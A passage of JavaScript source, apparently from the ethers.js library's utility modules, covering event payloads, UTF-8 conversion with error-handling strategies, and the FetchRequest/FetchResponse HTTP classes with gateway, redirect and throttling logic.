btoa(textData);\n}\n//# sourceMappingURL=base64-browser.js.map","/**\n * Events allow for applications to use the observer pattern, which\n * allows subscribing and publishing events, outside the normal\n * execution paths.\n *\n * @_section api/utils/events:Events [about-events]\n */\nimport { defineProperties } from \"./properties.js\";\n/**\n * When an [[EventEmitterable]] triggers a [[Listener]], the\n * callback always ahas one additional argument passed, which is\n * an **EventPayload**.\n */\nexport class EventPayload {\n /**\n * The event filter.\n */\n filter;\n /**\n * The **EventEmitterable**.\n */\n emitter;\n #listener;\n /**\n * Create a new **EventPayload** for %%emitter%% with\n * the %%listener%% and for %%filter%%.\n */\n constructor(emitter, listener, filter) {\n this.#listener = listener;\n defineProperties(this, { emitter, filter });\n }\n /**\n * Unregister the triggered listener for future events.\n */\n async removeListener() {\n if (this.#listener == null) {\n return;\n }\n await this.emitter.off(this.filter, this.#listener);\n }\n}\n//# sourceMappingURL=events.js.map","/**\n * Using strings in Ethereum (or any security-basd system) requires\n * additional care. These utilities attempt to mitigate some of the\n * safety issues as well as provide the ability to recover and analyse\n * strings.\n *\n * @_subsection api/utils:Strings and UTF-8 [about-strings]\n */\nimport { getBytes } from \"./data.js\";\nimport { assertArgument, assertNormalize } from \"./errors.js\";\nfunction errorFunc(reason, offset, bytes, output, badCodepoint) {\n assertArgument(false, `invalid codepoint at offset ${offset}; ${reason}`, \"bytes\", bytes);\n}\nfunction ignoreFunc(reason, offset, bytes, output, badCodepoint) {\n // If there is an invalid prefix (including stray continuation), skip any additional continuation bytes\n if (reason === \"BAD_PREFIX\" || reason === \"UNEXPECTED_CONTINUE\") {\n let i = 0;\n for (let o = offset + 1; o < bytes.length; o++) {\n if (bytes[o] >> 6 !== 0x02) {\n break;\n }\n i++;\n }\n return i;\n }\n // This byte runs us past the end of the string, so just jump to the end\n // (but the first byte was read already read and therefore skipped)\n if (reason === \"OVERRUN\") {\n return bytes.length - offset - 1;\n }\n // Nothing to skip\n return 0;\n}\nfunction replaceFunc(reason, offset, bytes, output, badCodepoint) {\n // Overlong representations are otherwise \"valid\" code points; just non-deistingtished\n if (reason === \"OVERLONG\") {\n assertArgument(typeof (badCodepoint) === \"number\", \"invalid bad code point for replacement\", \"badCodepoint\", badCodepoint);\n output.push(badCodepoint);\n return 0;\n }\n // Put the replacement character into the output\n output.push(0xfffd);\n // Otherwise, process as if ignoring errors\n return ignoreFunc(reason, offset, bytes, output, badCodepoint);\n}\n/**\n * A handful of popular, built-in UTF-8 error handling strategies.\n *\n * **``\"error\"``** - throws on ANY illegal UTF-8 sequence or\n * non-canonical (overlong) codepoints (this is the default)\n *\n * **``\"ignore\"``** - silently drops any illegal UTF-8 sequence\n * and accepts non-canonical (overlong) codepoints\n *\n * **``\"replace\"``** - replace any illegal UTF-8 sequence with the\n * UTF-8 replacement character (i.e. ``\"\\\\ufffd\"``) and accepts\n * non-canonical (overlong) codepoints\n *\n * @returns: Record<\"error\" | \"ignore\" | \"replace\", Utf8ErrorFunc>\n */\nexport const Utf8ErrorFuncs = Object.freeze({\n error: errorFunc,\n ignore: ignoreFunc,\n replace: replaceFunc\n});\n// http://stackoverflow.com/questions/13356493/decode-utf-8-with-javascript#13691499\nfunction getUtf8CodePoints(_bytes, onError) {\n if (onError == null) {\n onError = Utf8ErrorFuncs.error;\n }\n const bytes = getBytes(_bytes, \"bytes\");\n const result = [];\n let i = 0;\n // Invalid bytes are ignored\n while (i < bytes.length) {\n const c = bytes[i++];\n // 0xxx xxxx\n if (c >> 7 === 0) {\n result.push(c);\n continue;\n }\n // Multibyte; how many bytes left for this character?\n let extraLength = null;\n let overlongMask = null;\n // 110x xxxx 10xx xxxx\n if ((c & 0xe0) === 0xc0) {\n extraLength = 1;\n overlongMask = 0x7f;\n // 1110 xxxx 10xx xxxx 10xx xxxx\n }\n else if ((c & 0xf0) === 0xe0) {\n extraLength = 2;\n overlongMask = 0x7ff;\n // 1111 0xxx 10xx xxxx 10xx xxxx 10xx xxxx\n }\n else if ((c & 0xf8) === 0xf0) {\n extraLength = 3;\n overlongMask = 0xffff;\n }\n else {\n if ((c & 0xc0) === 0x80) {\n i += onError(\"UNEXPECTED_CONTINUE\", i - 1, bytes, result);\n }\n else {\n i += onError(\"BAD_PREFIX\", i - 1, bytes, result);\n }\n continue;\n }\n // Do we have enough bytes in our data?\n if (i - 1 + extraLength >= bytes.length) {\n i += onError(\"OVERRUN\", i - 1, bytes, result);\n continue;\n }\n // Remove the length prefix from the char\n let res = c & ((1 << (8 - extraLength - 1)) - 1);\n for (let j = 0; j < extraLength; j++) {\n let nextChar = bytes[i];\n // Invalid continuation byte\n if ((nextChar & 0xc0) != 0x80) {\n i += onError(\"MISSING_CONTINUE\", i, bytes, result);\n res = null;\n break;\n }\n ;\n res = (res << 6) | (nextChar & 0x3f);\n i++;\n }\n // See above loop for invalid continuation byte\n if (res === null) {\n continue;\n }\n // Maximum code point\n if (res > 0x10ffff) {\n i += onError(\"OUT_OF_RANGE\", i - 1 - extraLength, bytes, result, res);\n continue;\n }\n // Reserved for UTF-16 surrogate halves\n if (res >= 0xd800 && res <= 0xdfff) {\n i += onError(\"UTF16_SURROGATE\", i - 1 - extraLength, bytes, result, res);\n continue;\n }\n // Check for overlong sequences (more bytes than needed)\n if (res <= overlongMask) {\n i += onError(\"OVERLONG\", i - 1 - extraLength, bytes, result, res);\n continue;\n }\n result.push(res);\n }\n return result;\n}\n// http://stackoverflow.com/questions/18729405/how-to-convert-utf8-string-to-byte-array\n/**\n * Returns the UTF-8 byte representation of %%str%%.\n *\n * If %%form%% is specified, the string is normalized.\n */\nexport function toUtf8Bytes(str, form) {\n assertArgument(typeof (str) === \"string\", \"invalid string value\", \"str\", str);\n if (form != null) {\n assertNormalize(form);\n str = str.normalize(form);\n }\n let result = [];\n for (let i = 0; i < str.length; i++) {\n const c = str.charCodeAt(i);\n if (c < 0x80) {\n result.push(c);\n }\n else if (c < 0x800) {\n result.push((c >> 6) | 0xc0);\n result.push((c & 0x3f) | 0x80);\n }\n else if ((c & 0xfc00) == 0xd800) {\n i++;\n const c2 = str.charCodeAt(i);\n assertArgument(i < str.length && ((c2 & 0xfc00) === 0xdc00), \"invalid surrogate pair\", \"str\", str);\n // Surrogate Pair\n const pair = 0x10000 + ((c & 0x03ff) << 10) + (c2 & 0x03ff);\n result.push((pair >> 18) | 0xf0);\n result.push(((pair >> 12) & 0x3f) | 0x80);\n result.push(((pair >> 6) & 0x3f) | 0x80);\n result.push((pair & 0x3f) | 0x80);\n }\n else {\n result.push((c >> 12) | 0xe0);\n result.push(((c >> 6) & 0x3f) | 0x80);\n result.push((c & 0x3f) | 0x80);\n }\n }\n return new Uint8Array(result);\n}\n;\n//export \nfunction _toUtf8String(codePoints) {\n return codePoints.map((codePoint) => {\n if (codePoint <= 0xffff) {\n return String.fromCharCode(codePoint);\n }\n codePoint -= 0x10000;\n return String.fromCharCode((((codePoint >> 10) & 0x3ff) + 0xd800), ((codePoint & 0x3ff) + 0xdc00));\n }).join(\"\");\n}\n/**\n * Returns the string represented by the UTF-8 data %%bytes%%.\n *\n * When %%onError%% function is specified, it is called on UTF-8\n * errors allowing recovery using the [[Utf8ErrorFunc]] API.\n * (default: [error](Utf8ErrorFuncs))\n */\nexport function toUtf8String(bytes, onError) {\n return _toUtf8String(getUtf8CodePoints(bytes, onError));\n}\n/**\n * Returns the UTF-8 code-points for %%str%%.\n *\n * If %%form%% is specified, the string is normalized.\n */\nexport function toUtf8CodePoints(str, form) {\n return getUtf8CodePoints(toUtf8Bytes(str, form));\n}\n//# sourceMappingURL=utf8.js.map","import { assert, makeError } from \"./errors.js\";\nexport function createGetUrl(options) {\n async function getUrl(req, _signal) {\n assert(_signal == null || !_signal.cancelled, \"request cancelled before sending\", \"CANCELLED\");\n const protocol = req.url.split(\":\")[0].toLowerCase();\n assert(protocol === \"http\" || protocol === \"https\", `unsupported protocol ${protocol}`, \"UNSUPPORTED_OPERATION\", {\n info: { protocol },\n operation: \"request\"\n });\n assert(protocol === \"https\" || !req.credentials || req.allowInsecureAuthentication, \"insecure authorized connections unsupported\", \"UNSUPPORTED_OPERATION\", {\n operation: \"request\"\n });\n let error = null;\n const controller = new AbortController();\n const timer = setTimeout(() => {\n error = makeError(\"request timeout\", \"TIMEOUT\");\n controller.abort();\n }, req.timeout);\n if (_signal) {\n _signal.addListener(() => {\n error = makeError(\"request cancelled\", \"CANCELLED\");\n controller.abort();\n });\n }\n const init = Object.assign({}, options, {\n method: req.method,\n headers: new Headers(Array.from(req)),\n body: req.body || undefined,\n signal: controller.signal\n });\n let resp;\n try {\n resp = await fetch(req.url, init);\n }\n catch (_error) {\n clearTimeout(timer);\n if (error) {\n throw error;\n }\n throw _error;\n }\n clearTimeout(timer);\n const headers = {};\n resp.headers.forEach((value, key) => {\n headers[key.toLowerCase()] = value;\n });\n const respBody = await resp.arrayBuffer();\n const body = (respBody == null) ? null : new Uint8Array(respBody);\n return {\n statusCode: resp.status,\n statusMessage: resp.statusText,\n headers, body\n };\n }\n return getUrl;\n}\n// @TODO: remove in v7; provided for backwards compat\nconst defaultGetUrl = createGetUrl({});\nexport async function getUrl(req, _signal) {\n return defaultGetUrl(req, _signal);\n}\n//# sourceMappingURL=geturl-browser.js.map","/**\n * Fetching content from the web is environment-specific, so Ethers\n * provides an abstraction that each environment can implement to provide\n * this service.\n *\n * On [Node.js](link-node), the ``http`` and ``https`` libs are used to\n * create a request object, register event listeners and process data\n * and populate the [[FetchResponse]].\n *\n * In a browser, the [DOM fetch](link-js-fetch) is used, and the resulting\n * ``Promise`` is waited on to retrieve the payload.\n *\n * The [[FetchRequest]] is responsible for handling many common situations,\n * such as redirects, server throttling, authentication, etc.\n *\n * It also handles common gateways, such as IPFS and data URIs.\n *\n * @_section api/utils/fetching:Fetching Web Content [about-fetch]\n */\nimport { decodeBase64, encodeBase64 } from \"./base64.js\";\nimport { hexlify } from \"./data.js\";\nimport { assert, assertArgument } from \"./errors.js\";\nimport { defineProperties } from \"./properties.js\";\nimport { toUtf8Bytes, toUtf8String } from \"./utf8.js\";\nimport { createGetUrl } from \"./geturl.js\";\nconst MAX_ATTEMPTS = 12;\nconst SLOT_INTERVAL = 250;\n// The global FetchGetUrlFunc implementation.\nlet defaultGetUrlFunc = createGetUrl();\nconst reData = new RegExp(\"^data:([^;:]*)?(;base64)?,(.*)$\", \"i\");\nconst reIpfs = new RegExp(\"^ipfs:/\\/(ipfs/)?(.*)$\", \"i\");\n// If locked, new Gateways cannot be added\nlet locked = false;\n// https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URLs\nasync function dataGatewayFunc(url, signal) {\n try {\n const match = url.match(reData);\n if (!match) {\n throw new Error(\"invalid data\");\n }\n return new FetchResponse(200, \"OK\", {\n \"content-type\": (match[1] || \"text/plain\"),\n }, (match[2] ? decodeBase64(match[3]) : unpercent(match[3])));\n }\n catch (error) {\n return new FetchResponse(599, \"BAD REQUEST (invalid data: URI)\", {}, null, new FetchRequest(url));\n }\n}\n/**\n * Returns a [[FetchGatewayFunc]] for fetching content from a standard\n * IPFS gateway hosted at %%baseUrl%%.\n */\nfunction getIpfsGatewayFunc(baseUrl) {\n async function gatewayIpfs(url, signal) {\n try {\n const match = url.match(reIpfs);\n if (!match) {\n throw new Error(\"invalid link\");\n }\n return new FetchRequest(`${baseUrl}${match[2]}`);\n }\n catch (error) {\n return new FetchResponse(599, \"BAD REQUEST (invalid IPFS URI)\", {}, null, new FetchRequest(url));\n }\n }\n return gatewayIpfs;\n}\nconst Gateways = {\n \"data\": dataGatewayFunc,\n \"ipfs\": getIpfsGatewayFunc(\"https:/\\/gateway.ipfs.io/ipfs/\")\n};\nconst fetchSignals = new WeakMap();\n/**\n * @_ignore\n */\nexport class FetchCancelSignal {\n #listeners;\n #cancelled;\n constructor(request) {\n this.#listeners = [];\n this.#cancelled = false;\n fetchSignals.set(request, () => {\n if (this.#cancelled) {\n return;\n }\n this.#cancelled = true;\n for (const listener of this.#listeners) {\n setTimeout(() => { listener(); }, 0);\n }\n this.#listeners = [];\n });\n }\n addListener(listener) {\n assert(!this.#cancelled, \"singal already cancelled\", \"UNSUPPORTED_OPERATION\", {\n operation: \"fetchCancelSignal.addCancelListener\"\n });\n this.#listeners.push(listener);\n }\n get cancelled() { return this.#cancelled; }\n checkSignal() {\n assert(!this.cancelled, \"cancelled\", \"CANCELLED\", {});\n }\n}\n// Check the signal, throwing if it is cancelled\nfunction checkSignal(signal) {\n if (signal == null) {\n throw new Error(\"missing signal; should not happen\");\n }\n signal.checkSignal();\n return signal;\n}\n/**\n * Represents a request for a resource using a URI.\n *\n * By default, the supported schemes are ``HTTP``, ``HTTPS``, ``data:``,\n * and ``IPFS:``.\n *\n * Additional schemes can be added globally using [[registerGateway]].\n *\n * @example:\n * req = new FetchRequest(\"https://www.ricmoo.com\")\n * resp = await req.send()\n * resp.body.length\n * //_result:\n */\nexport class FetchRequest {\n #allowInsecure;\n #gzip;\n #headers;\n #method;\n #timeout;\n #url;\n #body;\n #bodyType;\n #creds;\n // Hooks\n #preflight;\n #process;\n #retry;\n #signal;\n #throttle;\n #getUrlFunc;\n /**\n * The fetch URL to request.\n */\n get url() { return this.#url; }\n set url(url) {\n this.#url = String(url);\n }\n /**\n * The fetch body, if any, to send as the request body. //(default: null)//\n *\n * When setting a body, the intrinsic ``Content-Type`` is automatically\n * set and will be used if **not overridden** by setting a custom\n * header.\n *\n * If %%body%% is null, the body is cleared (along with the\n * intrinsic ``Content-Type``).\n *\n * If %%body%% is a string, the intrinsic ``Content-Type`` is set to\n * ``text/plain``.\n *\n * If %%body%% is a Uint8Array, the intrinsic ``Content-Type`` is set to\n * ``application/octet-stream``.\n *\n * If %%body%% is any other object, the intrinsic ``Content-Type`` is\n * set to ``application/json``.\n */\n get body() {\n if (this.#body == null) {\n return null;\n }\n return new Uint8Array(this.#body);\n }\n set body(body) {\n if (body == null) {\n this.#body = undefined;\n this.#bodyType = undefined;\n }\n else if (typeof (body) === \"string\") {\n this.#body = toUtf8Bytes(body);\n this.#bodyType = \"text/plain\";\n }\n else if (body instanceof Uint8Array) {\n this.#body = body;\n this.#bodyType = \"application/octet-stream\";\n }\n else if (typeof (body) === \"object\") {\n this.#body = toUtf8Bytes(JSON.stringify(body));\n this.#bodyType = \"application/json\";\n }\n else {\n throw new Error(\"invalid body\");\n }\n }\n /**\n * Returns true if the request has a body.\n */\n hasBody() {\n return (this.#body != null);\n }\n /**\n * The HTTP method to use when requesting the URI. If no method\n * has been explicitly set, then ``GET`` is used if the body is\n * null and ``POST`` otherwise.\n */\n get method() {\n if (this.#method) {\n return this.#method;\n }\n if (this.hasBody()) {\n return \"POST\";\n }\n return \"GET\";\n }\n set method(method) {\n if (method == null) {\n method = \"\";\n }\n this.#method = String(method).toUpperCase();\n }\n /**\n * The headers that will be used when requesting the URI. All\n * keys are lower-case.\n *\n * This object is a copy, so any changes will **NOT** be reflected\n * in the ``FetchRequest``.\n *\n * To set a header entry, use the ``setHeader`` method.\n */\n get headers() {\n const headers = Object.assign({}, this.#headers);\n if (this.#creds) {\n headers[\"authorization\"] = `Basic ${encodeBase64(toUtf8Bytes(this.#creds))}`;\n }\n ;\n if (this.allowGzip) {\n headers[\"accept-encoding\"] = \"gzip\";\n }\n if (headers[\"content-type\"] == null && this.#bodyType) {\n headers[\"content-type\"] = this.#bodyType;\n }\n if (this.body) {\n headers[\"content-length\"] = String(this.body.length);\n }\n return headers;\n }\n /**\n * Get the header for %%key%%, ignoring case.\n */\n getHeader(key) {\n return this.headers[key.toLowerCase()];\n }\n /**\n * Set the header for %%key%% to %%value%%. All values are coerced\n * to a string.\n */\n setHeader(key, value) {\n this.#headers[String(key).toLowerCase()] = String(value);\n }\n /**\n * Clear all headers, resetting all intrinsic headers.\n */\n clearHeaders() {\n this.#headers = {};\n }\n [Symbol.iterator]() {\n const headers = this.headers;\n const keys = Object.keys(headers);\n let index = 0;\n return {\n next: () => {\n if (index < keys.length) {\n const key = keys[index++];\n return {\n value: [key, headers[key]], done: false\n };\n }\n return { value: undefined, done: true };\n }\n };\n }\n /**\n * The value that will be sent for the ``Authorization`` header.\n *\n * To set the credentials, use the ``setCredentials`` method.\n */\n get credentials() {\n return this.#creds || null;\n }\n /**\n * Sets an ``Authorization`` for %%username%% with %%password%%.\n */\n setCredentials(username, password) {\n assertArgument(!username.match(/:/), \"invalid basic authentication username\", \"username\", \"[REDACTED]\");\n this.#creds = `${username}:${password}`;\n }\n /**\n * Enable and request gzip-encoded responses. The response will\n * automatically be decompressed. //(default: true)//\n */\n get allowGzip() {\n return this.#gzip;\n }\n set allowGzip(value) {\n this.#gzip = !!value;\n }\n /**\n * Allow ``Authentication`` credentials to be sent over insecure\n * channels. //(default: false)//\n */\n get allowInsecureAuthentication() {\n return !!this.#allowInsecure;\n }\n set allowInsecureAuthentication(value) {\n this.#allowInsecure = !!value;\n }\n /**\n * The timeout (in milliseconds) to wait for a complete response.\n * //(default: 5 minutes)//\n */\n get timeout() { return this.#timeout; }\n set timeout(timeout) {\n assertArgument(timeout >= 0, \"timeout must be non-zero\", \"timeout\", timeout);\n this.#timeout = timeout;\n }\n /**\n * This function is called prior to each request, for example\n * during a redirection or retry in case of server throttling.\n *\n * This offers an opportunity to populate headers or update\n * content before sending a request.\n */\n get preflightFunc() {\n return this.#preflight || null;\n }\n set preflightFunc(preflight) {\n this.#preflight = preflight;\n }\n /**\n * This function is called after each response, offering an\n * opportunity to provide client-level throttling or updating\n * response data.\n *\n * Any error thrown in this causes the ``send()`` to throw.\n *\n * To schedule a retry attempt (assuming the maximum retry limit\n * has not been reached), use [[response.throwThrottleError]].\n */\n get processFunc() {\n return this.#process || null;\n }\n set processFunc(process) {\n this.#process = process;\n }\n /**\n * This function is called on each retry attempt.\n */\n get retryFunc() {\n return this.#retry || null;\n }\n set retryFunc(retry) {\n this.#retry = retry;\n }\n /**\n * This function is called to fetch content from HTTP and\n * HTTPS URLs and is platform specific (e.g. nodejs vs\n * browsers).\n *\n * This is by default the currently registered global getUrl\n * function, which can be changed using [[registerGetUrl]].\n * If this has been set, setting is to ``null`` will cause\n * this FetchRequest (and any future clones) to revert back to\n * using the currently registered global getUrl function.\n *\n * Setting this is generally not necessary, but may be useful\n * for developers that wish to intercept requests or to\n * configurege a proxy or other agent.\n */\n get getUrlFunc() {\n return this.#getUrlFunc || defaultGetUrlFunc;\n }\n set getUrlFunc(value) {\n this.#getUrlFunc = value;\n }\n /**\n * Create a new FetchRequest instance with default values.\n *\n * Once created, each property may be set before issuing a\n * ``.send()`` to make the request.\n */\n constructor(url) {\n this.#url = String(url);\n this.#allowInsecure = false;\n this.#gzip = true;\n this.#headers = {};\n this.#method = \"\";\n this.#timeout = 300000;\n this.#throttle = {\n slotInterval: SLOT_INTERVAL,\n maxAttempts: MAX_ATTEMPTS\n };\n this.#getUrlFunc = null;\n }\n toString() {\n return ``;\n }\n /**\n * Update the throttle parameters used to determine maximum\n * attempts and exponential-backoff properties.\n */\n setThrottleParams(params) {\n if (params.slotInterval != null) {\n this.#throttle.slotInterval = params.slotInterval;\n }\n if (params.maxAttempts != null) {\n this.#throttle.maxAttempts = params.maxAttempts;\n }\n }\n async #send(attempt, expires, delay, _request, _response) {\n if (attempt >= this.#throttle.maxAttempts) {\n return _response.makeServerError(\"exceeded maximum retry limit\");\n }\n assert(getTime() <= expires, \"timeout\", \"TIMEOUT\", {\n operation: \"request.send\", reason: \"timeout\", request: _request\n });\n if (delay > 0) {\n await wait(delay);\n }\n let req = this.clone();\n const scheme = (req.url.split(\":\")[0] || \"\").toLowerCase();\n // Process any Gateways\n if (scheme in Gateways) {\n const result = await Gateways[scheme](req.url, checkSignal(_request.#signal));\n if (result instanceof FetchResponse) {\n let response = result;\n if (this.processFunc) {\n checkSignal(_request.#signal);\n try {\n response = await this.processFunc(req, response);\n }\n catch (error) {\n // Something went wrong during processing; throw a 5xx server error\n if (error.throttle == null || typeof (error.stall) !== \"number\") {\n response.makeServerError(\"error in post-processing function\", error).assertOk();\n }\n // Ignore throttling\n }\n }\n return response;\n }\n req = result;\n }\n // We have a preflight function; update the request\n if (this.preflightFunc) {\n req = await this.preflightFunc(req);\n }\n const resp = await this.getUrlFunc(req, checkSignal(_request.#signal));\n let response = new FetchResponse(resp.statusCode, resp.statusMessage, resp.headers, resp.body, _request);\n if (response.statusCode === 301 || response.statusCode === 302) {\n // Redirect\n try {\n const location = response.headers.location || \"\";\n return req.redirect(location).#send(attempt + 1, expires, 0, _request, response);\n }\n catch (error) { }\n // Things won't get any better on another attempt; abort\n return response;\n }\n else if (response.statusCode === 429) {\n // Throttle\n if (this.retryFunc == null || (await this.retryFunc(req, response, attempt))) {\n const retryAfter = response.headers[\"retry-after\"];\n let delay = this.#throttle.slotInterval * Math.trunc(Math.random() * Math.pow(2, attempt));\n if (typeof (retryAfter) === \"string\" && retryAfter.match(/^[1-9][0-9]*$/)) {\n delay = parseInt(retryAfter);\n }\n return req.clone().#send(attempt + 1, expires, delay, _request, response);\n }\n }\n if (this.processFunc) {\n checkSignal(_request.#signal);\n try {\n response = await this.processFunc(req, response);\n }\n catch (error) {\n // Something went wrong during processing; throw a 5xx server error\n if (error.throttle == null || typeof (error.stall) !== \"number\") {\n response.makeServerError(\"error in post-processing function\", error).assertOk();\n }\n // Throttle\n let delay = this.#throttle.slotInterval * Math.trunc(Math.random() * Math.pow(2, attempt));\n ;\n if (error.stall >= 0) {\n delay = error.stall;\n }\n return req.clone().#send(attempt + 1, expires, delay, _request, response);\n }\n }\n return response;\n }\n /**\n * Resolves to the response by sending the request.\n */\n send() {\n assert(this.#signal == null, \"request already sent\", \"UNSUPPORTED_OPERATION\", { operation: \"fetchRequest.send\" });\n this.#signal = new FetchCancelSignal(this);\n return this.#send(0, getTime() + this.timeout, 0, this, new FetchResponse(0, \"\", {}, null, this));\n }\n /**\n * Cancels the inflight response, causing a ``CANCELLED``\n * error to be rejected from the [[send]].\n */\n cancel() {\n assert(this.#signal != null, \"request has not been sent\", \"UNSUPPORTED_OPERATION\", { operation: \"fetchRequest.cancel\" });\n const signal = fetchSignals.get(this);\n if (!signal) {\n throw new Error(\"missing signal; should not happen\");\n }\n signal();\n }\n /**\n * Returns a new [[FetchRequest]] that represents the redirection\n * to %%location%%.\n */\n redirect(location) {\n // Redirection; for now we only support absolute locations\n const current = this.url.split(\":\")[0].toLowerCase();\n const target = location.split(\":\")[0].toLowerCase();\n // Don't allow redirecting:\n // - non-GET requests\n // - downgrading the security (e.g. https => http)\n // - to non-HTTP (or non-HTTPS) protocols [this could be relaxed?]\n assert(this.method === \"GET\" && (current !== \"https\" || target !== \"http\") && location.match(/^https?:/), `unsupported redirect`, \"UNSUPPORTED_OPERATION\", {\n operation: `redirect(${this.method} ${JSON.stringify(this.url)} => ${JSON.stringify(location)})`\n });\n // Create a copy of this request, with a new URL\n const req = new FetchRequest(location);\n req.method = \"GET\";\n req.allowGzip = this.allowGzip;\n req.timeout = this.timeout;\n req.#headers = Object.assign({}, this.#headers);\n if (this.#body) {\n req.#body = new Uint8Array(this.#body);\n }\n req.#bodyType = this.#bodyType;\n // Do not forward credentials unless on the same domain; only absolute\n //req.allowInsecure = false;\n // paths are currently supported; may want a way to specify to forward?\n //setStore(req.#props, \"creds\", getStore(this.#pros, \"creds\"));\n return req;\n }\n /**\n * Create a new copy of this request.\n */\n clone() {\n const clone = new FetchRequest(this.url);\n // Preserve \"default method\" (i.e. null)\n clone.#method = this.#method;\n // Preserve \"default body\" with type, copying the Uint8Array is present\n if (this.#body) {\n clone.#body = this.#body;\n }\n clone.#bodyType = this.#bodyType;\n // Preserve \"default headers\"\n clone.#headers = Object.assign({}, this.#headers);\n // Credentials is readonly, so we copy internally\n clone.#creds = this.#creds;\n if (this.allowGzip) {\n clone.allowGzip = true;\n }\n clone.timeout = this.timeout;\n if (this.allowInsecureAuthentication) {\n clone.allowInsecureAuthentication = true;\n }\n clone.#preflight = this.#preflight;\n clone.#process = this.#process;\n clone.#retry = this.#retry;\n clone.#throttle = Object.assign({}, this.#throttle);\n clone.#getUrlFunc = this.#getUrlFunc;\n return clone;\n }\n /**\n * Locks all static configuration for gateways and FetchGetUrlFunc\n * registration.\n */\n static lockConfig() {\n locked = true;\n }\n /**\n * Get the current Gateway function for %%scheme%%.\n */\n static getGateway(scheme) {\n return Gateways[scheme.toLowerCase()] || null;\n }\n /**\n * Use the %%func%% when fetching URIs using %%scheme%%.\n *\n * This method affects all requests globally.\n *\n * If [[lockConfig]] has been called, no change is made and this\n * throws.\n */\n static registerGateway(scheme, func) {\n scheme = scheme.toLowerCase();\n if (scheme === \"http\" || scheme === \"https\") {\n throw new Error(`cannot intercept ${scheme}; use registerGetUrl`);\n }\n if (locked) {\n throw new Error(\"gateways locked\");\n }\n Gateways[scheme] = func;\n }\n /**\n * Use %%getUrl%% when fetching URIs over HTTP and HTTPS requests.\n *\n * This method affects all requests globally.\n *\n * If [[lockConfig]] has been called, no change is made and this\n * throws.\n */\n static registerGetUrl(getUrl) {\n if (locked) {\n throw new Error(\"gateways locked\");\n }\n defaultGetUrlFunc = getUrl;\n }\n /**\n * Creates a getUrl function that fetches content from HTTP and\n * HTTPS URLs.\n *\n * The available %%options%% are dependent on the platform\n * implementation of the default getUrl function.\n *\n * This is not generally something that is needed, but is useful\n * when trying to customize simple behaviour when fetching HTTP\n * content.\n */\n static createGetUrlFunc(options) {\n return createGetUrl(options);\n }\n /**\n * Creates a function that can \"fetch\" data URIs.\n *\n * Note that this is automatically done internally to support\n * data URIs, so it is not necessary to register it.\n *\n * This is not generally something that is needed, but may\n * be useful in a wrapper to perfom custom data URI functionality.\n */\n static createDataGateway() {\n return dataGatewayFunc;\n }\n /**\n * Creates a function that will fetch IPFS (unvalidated) from\n * a custom gateway baseUrl.\n *\n * The default IPFS gateway used internally is\n * ``\"https:/\\/gateway.ipfs.io/ipfs/\"``.\n */\n static createIpfsGatewayFunc(baseUrl) {\n return getIpfsGatewayFunc(baseUrl);\n }\n}\n;\n/**\n * The response for a FetchRequest.\n */\nexport class FetchResponse {\n #statusCode;\n #statusMessage;\n #headers;\n #body;\n #request;\n #error;\n toString() {\n return ``;\n }\n /**\n * The response status code.\n */\n get statusCode() { return this.#statusCode; }\n /**\n * The response status message.\n */\n get statusMessage() { return this.#statusMessage; }\n /**\n * The response headers. All keys are lower-case.\n */\n get headers() { return Object.assign({}, this.#headers); }\n /**\n * The response body, or ``null`` if there was no body.\n */\n get body() {\n return (this.#body == null) ? null : new Uint8Array(this.#body);\n }\n /**\n * The response body as a UTF-8 encoded string, or the empty\n * string (i.e. ``\"\"``) if there was no body.\n *\n * An error is thrown if the body is invalid UTF-8 data.\n */\n get bodyText() {\n try {\n return (this.#body == null) ? \"\" : toUtf8String(this.#body);\n }\n catch (error) {\n assert(false, \"response body is not valid UTF-8 data\", \"UNSUPPORTED_OPERATION\", {\n operation: \"bodyText\", info: { response: this }\n });\n }\n }\n /**\n * The response body, decoded as JSON.\n *\n * An error is thrown if the body is invalid JSON-encoded data\n * or if there was no body.\n */\n get bodyJson() {\n try {\n return JSON.parse(this.bodyText);\n }\n catch (error) {\n assert(false, \"response body is not valid JSON\", \"UNSUPPORTED_OPERATION\", {\n operation: \"bodyJson\", info: { response: this }\n });\n }\n }\n [Symbol.iterator]() {\n const headers = this.headers;\n const keys = Object.keys(headers);\n let index = 0;\n return {\n next: () => {\n if (index < keys.length) {\n const key = keys[index++];\n return {\n value: [key, headers[key]], done: false\n };\n }\n return { value: undefined, done: true };\n }\n };\n }\n constructor(statusCode, statusMessage, headers, body, request) {\n this.#statusCode = statusCode;\n this.#statusMessage = statusMessage;\n this.#headers = Object.keys(headers).reduce((accum, k) => {\n accum[k.toLowerCase()] = String(headers[k]);\n return accum;\n }, {});\n this.#body = ((body == null) ? null : new Uint8Array(body));\n this.#request = (request || null);\n this.#error = { message: \"\" };\n }\n /**\n * Return a Response with matching headers and body, but with\n * an error status code (i.e. 599) and %%message%% with an\n * optional %%error%%.\n */\n makeServerError(message, error) {\n let statusMessage;\n if (!message) {\n message = `${this.statusCode} ${this.statusMessage}`;\n statusMessage = `CLIENT ESCALATED SERVER ERROR (${message})`;\n }\n else {\n statusMessage = `CLIENT ESCALATED SERVER ERROR (${this.statusCode} ${this.statusMessage}; ${message})`;\n }\n const response = new FetchResponse(599, statusMessage, this.headers, this.body, this.#request || undefined);\n response.#error = { message, error };\n return response;\n }\n /**\n * If called within a [request.processFunc](FetchRequest-processFunc)\n * call, causes the request to retry as if throttled for %%stall%%\n * milliseconds.\n */\n throwThrottleError(message, stall) {\n if (stall == null) {\n stall = -1;\n }\n else {\n assertArgument(Number.isInteger(stall) && stall >= 0, \"invalid stall timeout\", \"stall\", stall);\n }\n const error = new Error(message || \"throttling requests\");\n defineProperties(error, { stall, throttle: true });\n throw error;\n }\n /**\n * Get the header value for %%key%%, ignoring case.\n */\n getHeader(key) {\n return this.headers[key.toLowerCase()];\n }\n /**\n * Returns true if the response has a body.\n */\n hasBody() {\n return (this.#body != null);\n }\n /**\n * The request made for this response.\n */\n get request() { return this.#request; }\n /**\n * Returns true if this response was a success statusCode.\n */\n ok() {\n return (this.#error.message === \"\" && this.statusCode >= 200 && this.statusCode < 300);\n }\n /**\n * Throws a ``SERVER_ERROR`` if this response is not ok.\n */\n assertOk() {\n if (this.ok()) {\n return;\n }\n let { message, error } = this.#error;\n if (message === \"\") {\n message = `server response ${this.statusCode} ${this.statusMessage}`;\n }\n let requestUrl = null;\n if (this.request) {\n requestUrl = this.request.url;\n }\n let responseBody = null;\n try {\n if (this.#body) {\n responseBody = toUtf8String(this.#body);\n }\n }\n catch (e) 